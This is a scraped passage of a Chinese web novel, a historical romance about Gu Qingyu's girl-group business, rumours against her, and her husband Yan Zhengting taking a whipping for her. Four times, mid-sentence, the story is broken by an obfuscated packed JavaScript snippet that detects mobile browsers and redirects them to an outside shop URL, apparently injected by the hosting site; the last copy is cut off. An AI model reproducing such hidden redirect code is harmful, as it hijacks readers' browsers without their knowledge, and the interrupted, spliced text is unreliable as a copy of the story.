为能顺利打响第一炮,二人在吟舞会的十几名姑娘里,精挑细选出了六位容貌最为精致,歌舞技艺最是精湛,并且连身高、体重、发型都极为相仿的姑娘组成了第一支女团。 并起名为:星辰。 起初,顾清语本是想叫“少女时代”的,可她转念一想,凭什么只要少女才能拥有一个好的时代? 每个人都有权利奔赴星辰大海。 十一娘对这个名字也颇为赞许。 她做了这么些年的营生,说到底,也是为了过上自己想要的生活。 而这些姑娘们,如此卖力的演出,也都是为了自己心中那个目标而奋斗。 她们每个人,都应有属于自己的星辰大海。 女团首演前三日,顾清语就特地找了画师为姑娘们画了画像,将演出预告贴满了大街小巷。 而且春风亭也是第一次不发送请帖,按时间顺序,先来者入。 起初,很多人不以为意,一听去看吟舞会不需要请帖了,还以为是春风亭已穷途末路。 谁知到了门口,才发现早已人满为患挤不进去了。 而那些早早便来占座的人,则每人获得了一份女团同款周边:蜡染手帕一张。 大越算起来应是中原地区,对于这种偏远小众的南夷国家的特色,自是闻所未闻、见所未见。 夜幕降临时,星辰组合正式登场。 六个美貌惊人、身着同款蜡染苗绣的姑娘、在叮当作响的银饰中载歌载舞的出现在舞台上时,众人已是看花了眼。 首演很快顺利结束,星辰组合的出场在惊艳了所有人的同时,在场的众人也被传递了一个重要信息: 女团会在整个大越进行巡回演出,但是之后,就需要购买门票才能入场观看了。 翌日,女团同款服饰及饰品在春风楼正式开卖,仅半天时间就被抢购一空。 顾清语趁热打铁,推出女团签名画像还建立了粉丝后援会。 不到一周时间,顾清语和十一娘就赚得盆满钵满。 当然,女团成员也收益不菲。 眼看女团大受欢迎,京城里其他的歌舞坊和娱乐场的歌舞姬们纷纷前来拜会取经。 而有的娱乐场则厚颜无耻的直接复制顾清语的造星模式。 只是吟舞会本身就已经有大量流量及客源基础,且姑娘们无论美貌还是才艺都远在别家之上。他人又岂能轻易复,不过是东施效颦罢了。 从最开始的预热,到后来的周边售卖,言正廷全程跟在顾清语身边。 只要有人靠近,他就一副冷眉怒目的模样,仿佛在向所有人宣示他的主权。 而顾清语却全然不在乎,此刻她的眼里只有那些白花花的银票。 眼见着找上门来要拜师或是干脆想直接加入女团的女子越来越多,她干脆一咬牙,直接开设了一个艺人培训班。 这些想要成为女团偶像的女子,在她的一番精心筛选下直接被收入囊中,由十一娘和吟舞会的姑娘们统一进行才艺培训。而她自己,又开始写起了新一轮的商业计划书。 很快,春风亭的牌匾下面,挂起了另一个名字:换颜艺人培训班。 意在脱胎换骨,重获新生。 很快,京中多家娱乐场的歌舞姬们纷纷离巢,投到春风亭的门下,成为了换颜的“练习生”。 在女团成立之前,春风亭的生意就是各个娱乐场里碾压众人的存在,如今这培训班一开,更是让其他娱乐场望尘莫及,有几家还直接关了张。 人红是非多。 顾清语是换颜幕后老板的事不胫而走,大街小巷中逐渐又有了些不好的传言。 有人说,侯府新媳妇在家中称病,却在外给言正廷戴了顶巨大的绿帽。 也有人说,顾清语表面上是富家小姐,实际上却因为不得宠一直在青楼以色侍人,勉强维持生计。 还有人说,顾清语与春风亭的多位男顾客有染。 更有甚至,直接传出顾清语在言家一女侍三夫的荒谬言论。 种种不堪入耳的传闻很快便传到了言正廷与顾清语耳中。 此刻,正在春风亭享受美食的二人,一个云淡风轻毫不在意,而另一个却是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205073|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒发冲冠咬牙切齿。 “岂有此理!竟敢这般造谣我夫人,等我把这人揪出来,不扒他一层皮他便不知道我京城小霸王的厉害!” “噗——!” 顾清语一个没忍住,一口茶愣是全喷了出来。 哪有人叫自己小霸王这么土气的啊?言正廷真是又一次刷新了她的三观。 “夫人你还笑?他们说的如此下作难听你就一点不在乎吗?” “造黄谣而已,何必在意?” “怎能不在意?即便夫人你不在意,我也决不能容忍有人这样诋毁我的夫人!” 说罢,一边嚷嚷着定要还她个清白,一边睚眦俱裂地冲向了门外。 看着那怒气冲冲又格外认真的背影,顾清语的嘴角不自觉的往上翘起。 她本是不在意这些流言蜚语的。 当初她凭一己之力,在短短三年内坐到总监的位置时,就有人说她是靠脱上位。 那时的她也曾气得泪流满面,可是后来,她遇到的是非越来越多,谣言一次比一次难听。 而那时与她最亲近的闺蜜与男友,竟没有站出来为她说过一句话,甚至还逐渐疏远了她。 她的心渐渐冷了下去,便再也不在意了。 如今,这个名义上的夫君,协议上的保镖,却为了连她自己都不在意的谣言如此较真。 若是当初她被伤害时,有人也如这般保护她,她是不是就不会像如今这般冷情冷性且爱财如命? 毕竟,对一个无依无靠的人来说,只有钱财才是最牢固的靠山。 一旁的十一娘敏锐的捕捉到了顾清语那微弱的情感变化。 又忍不住望了一眼言正廷离去的方向。 她认识言正廷多年,彼此是相互信任、相互成就的伙伴。 言正廷何时真、何时假,她一眼便知。 虽然他言语上浪荡浮夸,可是她看得出来,这一次他是真的动怒了。 而两人相识多年来,她还是第一次看到言正廷这般模样。 十一娘不禁心下暗笑。 这两人,明明早已暗生情愫,但似乎连自己都不明白自己的心意,更别说让对方感知自己的这份情谊了。 她本是想亲自去彻查这造谣之人的,如今看来,不需要她出手,言正廷也自会把此人翻个底朝天。 这下她倒是想看看,这压抑蛰伏了多年的言正廷,为了顾清语,究竟能做到何等份上。 只是不知道,这个一门心思只想挣银钱的顾清语,何时才能看穿言正廷的心。 何时能真正正视自己的心。 而顾清语看似漫不经心的品着面前的美食,实则在心底盘算着这背后造谣之人究竟是谁。 她如今明面上得罪的人,除了一众眼红春风亭的老板外,还有一个巨大的隐患,就是原主那心狠手辣的渣爹和二姨娘。 关于她的传言街知巷闻,他二人不可能没有察觉。 而这幕后造谣她之人,除了想毁掉她以外,是否还有其他目的? 树大招风。 她还是有些过于招摇了,还好有言正廷。 咦?她怎么会突然生出这种想法? 那败家子真的能靠得住吗? 9. 说不清,道不明 不出三日,言正廷就找出了那个造谣之人。 当他欲带着一帮世家子弟上门拿人时,那几人竟躲在烟管里抽着大烟。 这几人身形消瘦、眉眼凹陷,一看便是长期吸食大烟导致身体过度消耗,似乎已经命不久矣。 这样的人,每日续命都已成问题,又怎会去在乎大户人家的家长里短? 更何况,言正廷和顾清语的家族,一个官一个富,这种在底层挣扎求生的家伙,无事又怎会无端去招惹。 自见到这几人的第一眼起,言正廷就知道其背后必定有人指使。 只是当务之急,是在大众面前还自家夫人一个清白。 顾清语今日本是不打算出门的,她的商业计划书一天未完成,她就一天不能放松下来。 正在埋头苦干之时,言正廷却突然来了,一脸的神秘兮兮。 “夫人,今日咱们去春风亭坐坐吧?” “不去,我的计划书还没写完呢。” “你总有写不完的计划书,可这银钱是挣不完的,咱们得懂得及时享乐才行啊!” “你要享乐你自己去就好了。” 言正廷见顾清语一副油盐不进的模样,干脆直接上手,一把将她扛在肩上就往外跑。 “言正廷你疯了吗?赶紧放我下来!” “夫人莫着急,我今日有个惊喜要给你,到了你便知道我的用心良苦。” 说罢,直接将顾清语扔进了早就候在门口的马车里。 这一路上,顾清语都没给言正廷好脸色看。 气鼓鼓地抱着双手鼓着腮的模样,反倒显得有些可爱。 言正廷试图逗乐顾清语,却发现越逗她的嘴撅得越高。 言正廷识趣地闭了嘴,可心里却是乐开了花。 马车很快停在了春风亭门前。 言正廷想要伸手去扶,顾清语却将头扭到一边,看也不看他一眼,一甩手便率先跳下马车,自顾自地走进了春风亭。 看着那倔强的背影,言正廷的眼里满是藏不住的宠溺。 她生气的模样,还真是有趣! 春风亭的节目很快开始,不过是常规的吹拉弹唱。 今日女团受邀去了另一个娱乐场演出,而演出费用非常可观。 顾清语喜滋滋地品着茶点,一边欣赏歌舞,一边盘算着今日进账。 言正廷也自知惹人生气,在一旁斟茶递水、剥瓜子、递手帕。 好不容易见顾清语神色缓和了一些,他便试探道:“夫人气消了?” 顾清语斜眼睨他:“这就是你说的惊喜吗?” “当然不是!好戏马上开始,夫人耐心等候便是,我去去就来。” 好你个言正廷,生气了就献殷勤,气消了马上就跑是吧? 顾清语也不知为何,刚才还明明十分美味的茶点,现在突然就觉得不香了。 她有些烦躁地放下了言正廷临走前递过来的糕点。 她很不喜欢自己这种患得患失的情绪。 她甩了甩头想要抛开脑子里的杂念,刚想起身离开,却突然听到台上传来了一阵锣鼓声。 “春风亭什么时候搞起敲锣打鼓这一套了?” 回过头来,却见台上那敲锣之人竟是言正廷。 这家伙又要耍什么把戏? 顾清语干脆又坐了下来。 而台上的言正廷见顾清语再次落座,满意地笑了笑。 接着,便开始了他的大戏。 “各位看官,今日春风亭的压轴好戏,就由我言正廷为大家带来一出【打伥鬼】!” 语毕,一群身着衙役戏服的人,押着几个形如枯槁的“伥鬼”上了台。 台下众人仔细一看,也纷纷认出了那几个衙役分明就是言正廷平日里一起鬼混的玩伴。 而言正廷也迅速换好了一身判官服饰,审起了台下的“伥鬼”。 这下不止顾清语,台下的观众也来了兴致,想看看这群纨绔子弟究竟葫芦里卖的什么药。 “堂下伥鬼,你们所犯何事?” “我们造了口业,生生造谣冤枉了一位身价清白的姑娘。” “被冤枉者乃何人?” “言家新妇,顾清语。” 台下一片哗然。 之前认出顾清语的人,纷纷向她投来了探寻的目光。 顾清语此刻恨不得找个地洞钻进去,可是又想把这出戏看完。 台上的戏仍在继续。 在言正廷的逼问下,几名“伥鬼”老实交代了自己是如何编造谣言,诬陷顾清语的。 可就在言正廷问道何人指使时,那几人明显有些瑟缩,眼中满是恐惧之色。 几人一口咬定无人指使,只是自己胡乱编造想趁机讨点烟钱。 “看来你几人是不见棺材不落泪了。来人!用刑!” 言正廷的几个玩伴拿起手中的笞杖狠狠将几人鞭打一顿。 可那几人眼见着皮开肉绽了也不肯说。 眼看当下是逼问不出什么了,而太过血肉模糊的画面也会引起众人不适。 言正廷及时叫停了仗责,也顺势脱掉了戏服。 他堂堂正正地站在台上,不怒自威。 神情严厉地望着台下众人道: “各位听好了,顾清语她清清白白、行端影正。日后若有人再敢造谣她一句不是,下场保证只会比这几人有过之而无不及。有事儿尽管冲我言正廷来,谁敢伤害我娘子,就是跟我言家过不去。谁若不信,大可以来试!” 台下众人神色各异。 有人赞许言正廷挺身护娘子是个真男人,也有人嗤笑他不过是拿腔做戏根本没本事。 只有顾清语,笑得无比灿烂,眼里似有点点星光。 在言正廷的目光寻来的那一刻,两道视线交汇时迸发出了一种前所未有的光亮。 “谢谢。”顾清语轻启朱唇。 “不用。”言正廷微笑回应。 台上的“伥鬼”被拉了下去,言正廷让那几个世家子弟将几人再揍一顿便放了。 只是几人刚放没多久,又被一群黑衣人抓了起来。 几人被关在了一个不见天日的暗室内,遍地都是刑拘。 他们不明白自己明明没有招供幕后之人,为何还要再次被囚禁。 一个戴着面具之人从黑暗里缓缓走出,声音熟悉里却又带着更深的冷意: “幕后之人到底是谁?” 几人仍旧不肯就范,他向身后微微点头,几个拿着刑具之人便向他们步步逼近。 在一阵阵惨叫声中,蒙面人转身离开,伴随着一声冷笑:“敢欺到她的头上,以为我会就这么算了吗?” 自那日之后,顾清语和言正廷之间,好像发生了一些微妙的变化。 言正廷仍旧不着边际的嬉皮笑脸,顾清语却不再骂他,反而会和他一同外出玩乐。 “这才对嘛!夫人就应当多与我一起外出走走,这样才能想到更多挣银子的方法啊!等夫人赚了更多银钱,我就可以天天躺在家里什么也不干啦!” “你现在不也是躺在家里什么也不干吗?” 两人仍旧时常拌嘴,只是没有了当初的火药味。 哪怕是个纨绔,也是个善良的纨绔。 顾清语心想。 连她自己也没发现,她对言正廷的态度正在悄然改变。 这日,顾清语想去买点女子物品,便叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205074|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的私人保镖不必再陪。 这一路上,她总有种异样的感觉,问了阿砚,她却毫无察觉。 谨慎起见,她还是决定先回府。 她们快速往侯府方向赶回,刚转过街角时就突然闻到一股异香,她立刻想换条路走。 岂料已经来不及了。 伴随头晕目眩的感觉袭来,全身已经绵软无力。 身旁的阿砚,更是比她先一步晕倒在地。 几个彪形大汉从巷子深处向她走来。 这次,真的完了。 连日来的风平浪静的确让她放松了警惕,今日也是她自己让言正廷不用再保护她的。 今日再没人能救她了吧? 言正廷,你在哪? 在意识消失的最后时刻,她没有等来言正廷。 却在几个大汉将她从地上拖起时,一个熟悉的面具映入了眼帘。 他又来救我了! 她不再抵抗药物带来的晕眩感,任由意识逐渐下沉,安心地闭上了眼。 因为她知道,她安全了。 她睡了很久,很沉,也很安心。 待她醒来时,果然安然无恙地躺在自己的大床上,阿砚也完好无损地守在她的身旁。 “小姐你终于醒了!你已经睡了两日了,有没有哪里不舒服啊?”见她终于醒来,阿砚又急又喜。 “两日!?”她没想到,这次被下的药竟如此凶猛。 “可是一个戴面具之人送我们回来的?” “什么戴面具之人?是姑爷送我们回来的啊。” 言正廷? 可是她晕倒前,分明看到的是面具人啊。 正当他疑惑之时,言正廷恰好推门而入。 见她苏醒,拧紧了两日的眉头,可算是些微放松了些。 “阿砚,照看好你家小姐,我马上去请大夫!” “等等!我已无大碍,不需要再请大夫了。” “不行,还是再请大夫瞧瞧放心一些。” 也不等顾清语再说,他就自顾自地跑出了门。 “姑爷这两日一直守在您身边,一刻也没合过眼。小姐,姑爷其实也挺好的。” 阿砚小心翼翼,生怕说错话会惹小姐不高兴。 而顾清语却难得的没有反驳。 其实她也觉得言正廷挺好的。 虽然言行浮夸、形骸放浪,但是从没有真正做过什么离谱的坏事。 对她,也似有几分真心。 而她却隐隐对那三番四次救她的面具人有了些说不清道不明的情愫。 此刻,她觉得自己像个处处留情的渣女。 一边是连长相也不知道,却屡次相救的恩人。 一边是她正经拜堂成亲,却扶不上墙的夫君。 明明与言正廷只是协议婚姻,她却总觉得自己是婚内出轨。 对言正廷的愧疚感让她陷入了深深的自责中。 以至于言正廷带着大夫风风火火地赶来之时,她甚至扭过头不敢看他。 而言正廷渐她别开了头,却以为她是怪自己保护不力,差点害她陷入危险之中而责怪他。 那炯炯有神的眸子,突然就暗了下去。 他吩咐大夫一定仔细诊断,给顾清语开最好的补药之后,便一脸愧疚的退了出去。 而顾清语见他就这么走了,又有些许落寞。 自己什么时候变得这么作了? 从那日起,两人就开始有意无意地躲着对方。 直到言正廷的父兄突然从边关回来,顾清语不得不前去请安,才再次见面。 “跪下!” 顾清语才刚一进门,就撞上了言父言母盛怒的目光。 10. 要罚就罚我吧 她真的很不喜欢古代人动不动就叫人跪下这件事。 她的渣爹是如此,现在的家公也是如此。 可她一个现代人,却偏偏最厌恶向无关的人下跪。 顾清语固执地站在原地,一如她刚穿来时倔强地对抗渣爹顾成勋一样。 剑拔弩张之际,言正廷却扑通跪地。 历史总是惊人的相似。 那时,是言正廷帮她解围。 今天,依然是他。 “父亲、母亲,一切都是我的主意,与清语无关,要罚就罚我吧!” 言正廷拦在了顾清语面前,可是她看不懂他脸上的表情。 几分倔强,几分无奈,却还有几分冷漠与委屈。 不知为何,面前的言正廷让她有些心疼。 也不知道从哪里生出的一股勇气,她突然很想要维护这个总是站在他前面的男人。 “什么你的主意?我连什么事都还不知道,为何要认错?公公、婆婆,有什么事咱们不能直接说,非得一来就让人跪下才行吗?是不是不跪就不能显出你们的权威了?做父母的只能靠这样的方式维系自己的尊严吗?那子女的尊严在你们眼里就不值一提吗?” 顾清语一顿输出,惊呆了在场众人。 言兄没想过她会说出这样的话,一时有些目瞪口呆。 而言父言母的脸色,已经黑得能拧出水来。 只有言正廷,埋下头拼命压抑住了一直想要翘起的嘴角。 见众人不说话,顾清语还想继续辩白,却发现有人拉了拉她的裙摆。 是言正廷示意她别再继续说话,她也识趣的闭上了嘴。 而这一次率先开口的,没想到是言正廷的兄长言正铠。 “好一张厉害的嘴!你在府中装病,却跑到春风亭那种地方去放浪,居然还敢颠倒是非、顶撞长辈?二弟,你还真是娶了个好妻子啊!” 这言正铠不仅说她放浪,还在这儿阴阳她! 她怎么可能咽得下这口气? “春风亭是哪种地方?合法经营的正经场所,我去听曲品茗怎么就叫放浪了?明明是兄长在这颠倒是非,却还口口声声诬陷人?夫君,你怎么有这么个好兄长啊?” “巧言令色!你就是那什么培训班幕后老板的事早已传得街知巷闻,二弟为了你还上台当起了戏子,你的名声都彻底败坏了!你以为这些事我和父亲在关外就一无所知吗?” “幕后老板又如何?我再说一遍,我合法合规正当经营,如果不合法自有官府来封店,不是由兄长你来批判的。既然你知道言正廷演了出戏,就该知道我是被人恶意污蔑,怎么就败坏名声了?” “你休要在此混淆视听,难道你装病也是假的?” “装病一事我认。可我的名声也不是你能轻易败坏的!” “够了!” 言父厉声喝止,一掌拍在桌面上。 “啪”的一声,桌上的茶杯应声而碎。 果然是上阵杀敌的将军,拍个桌子都能把茶杯震碎。 顾清语第一次在言府真真切切的感受到了危险。 言正廷了解自己的父亲,激怒他后果不堪设想。 “父亲息怒!新妇莽撞不懂事,是儿子的错,儿子自请家法!” 他一路跪行至言母面前,一把夺过嬷嬷手中的长鞭,便开始往自己身上抽打。 顾清语心下一惊,想要跑去夺鞭,却被言正廷喝止:“走开!别靠近我!” 她从未见过这样的言正廷,决绝而又狠厉。 看着那一道道触目惊心的鞭痕在他身上炸开,顾清语的心隐隐作痛。 她环视着言家众人,脸上神色各异。 怒目切齿、冷眼旁观、幸灾乐祸,唯独没有心疼和关爱。 她突然有些明白,为何言正廷明明内心善良正直,却变成了如今这副模样。 眼看言正廷已经满身血痕,此时言父终于发话。 “够了!今日看在你主动请罚的份上,我就放过你新妇一次,若再有下次,必定重罚!还有,从今日起,你二人禁足,不许踏出家门半步!” “是!” 言正廷明明已经疼痛不堪,却还是倔强的强撑着身体。 直到众人都退出了房间,他才终于支撑不住倒在了地上。 顾清语赶紧冲过去将他扶起,满眼心疼。 “为何要替我受罚?我们明明就没错。” “不重要了,你没事就好。” “三十七。” “什么三十七?” “三十七鞭,我替你数着,也定会替你还回去。” 说罢,顾清语那瘦小的身躯竟生生将言正廷背起,一步一步,艰难地回了房间。 言正廷是不愿意的,可他伤势过重却又一直强撑,此刻再早已没了力气反抗。 伏在顾清语身后,言正廷眼眸轻颤。 多少年了,第一次有人如此护着他。 他却不知,顾清语又何尝不是如此? 言正廷因伤势过重在床上整整躺了三日。 顾清语衣不解带的照顾着,生怕他伤口发生感染,已经几天没合过眼了。 她小心翼翼的为他换药、处理伤口。 在他终于好起来之后,自己却大病了一场。 言正廷满眼愧疚,平日里巧舌如簧的他此刻却像个不知所措的孩子。 顾清语笑着安慰,说发烧是排毒,有美容养颜之功效,让他不必介怀。 而言正廷却突然说,想给她讲个故事。 “有个男孩,他自小就天赋异禀、聪颖过人,父母对他抱有极高的期望,兄长和幼妹都很喜爱他。随着他们年龄增长,很快便到了即将承袭爵位的年纪。按照朝堂律例,一般是由长子继承爵位,可是因为他过于优秀,父亲便有了将爵位传给他的念头,兄长知道了这事后,一切就变了。” “兄长开始处处为难他、打压他,给他制造各种难题,害他在父亲面前屡屡犯错。一次,他们二人带着幼妹去溪边玩耍,幼妹不小心跌入溪水中,当时溪水不算湍急,而男孩不识水性,但他知道兄长会水,于是让兄长绑了根绳子先下水救人,他第一时间跑去找附近的大人求救。然而,待他将人带来时,幼妹却早已没了踪影。” “二人面对父母的痛苦与绝望害怕极了,他还在努力的为兄长开脱之时,兄长却转头告诉母亲,说幼妹是因为男孩才会跌入溪水之中,换言之,是男孩害死了幼妹。从那以后,父母便开始厌弃他,似乎只要一看到他就会想起那个天真可爱却早夭的幼妹,无论他多努力,父亲都只冷着一张脸,母亲也对他避而不见。” “再后来,兄长承袭了爵位,跟着父亲驰骋沙场、屡立战功。而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205075|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个男孩,却只能在浑浑噩噩中度日如年,最终成为了人人厌弃的浪荡w纨绔。” 言正廷说完后沉默良久,并没得到顾清语的回应,还以为她已经睡着了。 转头想为她盖被子时,却撞上了一双噙满泪花的眼。 她太懂言正廷所经历的一切了。 那种被孤立时的小心翼翼,被漠视时的望眼欲穿,努力讨好却被迎头痛击。 这一切,她都经历过。 两个不曾被爱的灵魂,在此刻第一次有了共鸣。 顾清语没有说什么安慰的话语,因为她知道那些无关痛痒的话对他们这样的人来说毫无意义。 她吸了吸鼻子,擦干眼角,拍了拍言正廷的背道:“没事儿!以后我罩着你!” 言正廷却被他拍得目眦欲裂:“哎哟!好痛!” 他心想,你个惹祸头子,也不知道谁罩着谁。 刚才的故事里他没说完的是,自那以后,他便苦练水性,发誓不再让任何人在他面前沉入水底。 也正因如此,他才能在机缘巧合之下救下了她的命。 而此刻的顾清语,却在心里盘算着,总有一天他要帮言正廷洗刷冤屈,讨回他失去的一切。 两人一时无言,却相视而笑。 阳光暖暖的,照得一室温暖而美好。 几日后,言正廷的伤好了,顾清语的病愈了。 两个不安分的人,却尚在禁足中。 一个始终惦念着她下一步的商业计划,而另一个则是放不下追查风雅颂之事。 “我们翻墙出去吧?” “要不翻墙逃跑吧?” 他俩几乎异口同声地提出了逃跑计划。 两人一拍即合,说跑就跑。 这事儿顾清语干过,之前她装病出逃时早已摸清了侯府的安防。 言正廷则更不用说,连侯府哪面墙上有几个老鼠洞都一清二楚。 两人对翻墙之事驾轻就熟,很快就成功呼吸到了第一口自由的空气。 他们这次单独出逃,并没带上小厮和阿砚。 一来,是怕事情败露害两人无辜受到牵连。 二来,他们也想低调行事,趁着禁足的名头避开有可能在暗中窥探他们的眼线。 本来说好出府后就各走各的,可言正廷却临时反悔,死活要跟着顾清语。 “你怎如此无赖?说话不算话可还像个男人?” “正因我是顶天立地的男子,绝对说话算话,才要跟着你啊。” 说罢,他竟从怀里掏出了当初签署的《保镖协议》,在她面前得意的晃悠。 顾清语无奈,只得任由他跟着。 其实,她是想暗中去找十一娘帮她调查言正廷幼妹落水之事。 她听完言正廷的自述时就起了疑,兄长明明会水而且绑了绳子,当时的水流并不算急,怎么就没能把幼妹救起来呢? 她不想恶毒地揣测兄长是为陷害言正廷而对妹妹见死不救,但她从小就见识过太多人性的阴暗,为了活命、为了生存,久而久之,她对一切不合理的事都将抱持最坏的猜测。 她后来问过言正廷,幼妹落水的地点就在一处村子旁,并不算偏僻。 说不定当年会有人目睹一切。 她想要还言正廷一个分明。 可这傻子偏偏没有眼力劲儿。 11. 自己吃自己的醋? 言正廷就这样赖在顾清语身边,走得小心翼翼。 上次那几个想要掳走她之人,虽然是他的手下败将,但因他救人心切,让几人趁机逃掉了。 只要一日没将人找出来,他就不可能放任顾清语再单独行动。 顾清语做不了自己想做的事,有些百无聊赖。 每当想去人多的地方凑凑热闹,言正廷却总是扫兴地把她拉走。 好在言正廷带了不少银钱,给她买了好些漂亮的珠钗,才勉强算是平息了她不能去玩的怒气。 她有些意兴阑珊。 可是却又不太想回去。 不知为何,她竟有些贪恋此刻和言正廷的“二人世界”。 尤其在言正廷帮她戴珠钗时,她甚至能闻到他身上那股像是刚刚被阳光晒干的青草的味道。 很干净,让人很安心。 那时她才意识到,他们自成亲以来,竟还是第一次靠得这么近。 顾清语微微抬头,正好对着言正廷棱角分明的侧脸,她望着望着,却望得有些出了神。 俊美自是不用说,可是…… 怎么有种似曾相识的感觉? 似乎曾经在某一个很重要的时刻,她见过这个侧颜。 “怎么?被小爷的容颜深深吸引不可自拔了?” 她感觉自己就快抓到那根虚无缥缈的线了,却又忽地被言正廷打断了。 忍不住翻了个白眼,顾清语讪讪道:“你平时不照镜子的吗?” “啧啧,你这分明是身在福中不知福,你可知有多少怀春少女想要对我投怀送抱?” “怀春少女不知道,可是彪形大汉倒是有不少。” 顾清语目之所及,是一群大汉正将一个女子团团围住。 从他们手上拿的武器,和女子脸上的惊恐与瑟缩已经说明了一切。 她几乎没有犹豫就想要上前帮忙,却再次被言正廷拉住。 “你别冲动,有可能是陷阱,你先躲在安全之处,我去看看。” 一想到她前几日才在光天化日之下被人下了迷药,她就后悔自己总是如此冲动。 没有和言正廷争辩,她乖乖的躲进了旁边的一处杂物堆之中。 刚刚还阳刚俊朗的言正廷,快速换了一副吊儿郎当的模样向那边走去。 这人变脸怎么变得如此快? 顾清语躲在隐蔽处观察,她听不清言正廷和那群大汉说了些什么。 只是从众人脸上的神色看来,双方似乎已经达成了某种共识。 其中一名大汉还伸手拍了拍言正廷的肩。 顾清语以为事情已经解决,却见那只拍在言正廷肩上的手,突然发力扣向了言正廷的咽喉! “小心!” 顾清语忍不住喊出了声。 但很快,她便发现自己的担忧是多余的。 言正廷似乎早有准备,头微微向后一偏,右手抓住那人的手腕,顺势一带,将人拉到身前。 右手立刻拿捏住了那人咽喉处的命脉。 接下来的一幕,足以让顾清语瞠目结舌。 言正廷身形飘逸,在一群大汉间灵活游走,不但没有损伤分毫,反而将大汉们逐个击倒。 他竟然会功夫?! 顾清语从不知道,言正廷会武功。 她虽然不懂武术,可从言正廷的一招一式看来,他的武功似乎不低。 即便不是什么武林高手,但也绝对是一个长期练武、功底扎实之人。 纨绔子弟也需要练武吗? 她突然有些不寒而栗,因为这样的言正廷,让她感到格外陌生。 真真假假,虚虚实实。 她开始分不清,到底哪个才是真正的他。 而且,随着他与对方越战越激烈,她忽然产生了一种奇妙的错觉。 言正廷的招式和面具人竟然如此相似! 面具人多次救她于危难,尤其是在城郊废屋那次,她亲眼见过面具人和黑衣人过招。 思绪瞬间乱成了一团麻花。 她好不容易才理出了一丝线头,还来不及深究,那边的战斗却已经结束。 彪形大汉落荒而逃,言正廷拍了拍身上的尘土向她走来。 她定定地看着眼前之人,眼里满是防备。 “怎么了?” 言正廷似察觉到了她的异样。 她却没有说话,只是缓缓伸出一只手来覆到了他的半张脸上。 言正廷有些慌了。 他本能地想要躲闪,却又怕这一躲,便是不打自招了。 “恩…恩公,感谢您出手相救!” 千钧一发之际,一个有些颤抖的女声响起。 刚才被大汉团团围住的女子,此刻依旧满脸惊慌无措。 顾清语顺势放下了手,而言正廷也赶紧岔开话题。 “无碍。他们究竟是何人?” 女子稳了稳心神,便向二人缓缓道来。 女子名为齐晏,以卖胭脂为营生,所有在城西营生的人都要向一名叫周四爷的人缴纳“头钱”。 可是男子每月只需缴纳十两银钱,而女子却要缴纳二十两。 她们这小本买卖本就是勉强维持生计,哪还交得出这么多“头钱”。 周四爷却说,交不出银钱便要他们用身体还债。 她已经三个月交不出“头钱”了,刚才那些人,就是周四爷的手下,想要抓她去“钱债肉偿”。 女子劫后余生,说话都还有些不利索。 顾清语紧紧握住她的手,柔声安慰:“已经没事了,别害怕。” 她提出要送女子回家,她却不肯。 说怕周四爷会来寻仇。 顾清语想了想,决定送她去春风亭暂避风头,等过段时日再回来。 她现在是自身难保,所以面对周四爷这样的恶霸,她也是有心无力。 除了暂时给女子一处落脚之地,她也实在不知道还能做什么。 将女子送至春风亭后已时日不早,两个暗度陈仓之人再不回府,只怕是会东窗事发。 回去的路上,顾清语始终沉默无言。 她一方面对大越女子地位之低微愤而不满。 一方面又恨自己人微言轻什么也做不了。 况且…… 她一向自诩慧眼如炬,如今却连身边人也看不清。 言正廷此刻也不敢再多言。 从顾清语伸手覆上他的脸那一刻,她就知道她已经起疑了。 两人一路无言。 顺利回到侯府后,顾清语什么也没说,就自顾自回了自己的房间。 言正廷望着那落寞的背影,幽幽叹气。 他深知怀疑的种子一旦种下,就会在心里疯狂生长。 于是,他想出了一个更加离谱的办法。 三日后,他再度邀请顾清语翻墙出逃。 顾清语虽然情绪有些低落,但若是真将她长时间困于府内,她会更加生不如死。 纵然百般不愿,她还是应下了言正廷的邀约。 二人再次携手出逃,却似乎没了上一次的欢欣雀跃。 走在街上,两人都显得有些心不在焉。 顾清语根本没有逛街游玩的心思,就随着言正廷带她往哪走,她就跟着便是了。 走着走着,她忽然听见了一阵孩童的哭声。 “你听见了吗?” “听见了,走,去看看。” 寻着哭声,二人刚走到一处废弃的亭台边,就见几个黑衣人忽的从天而降 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 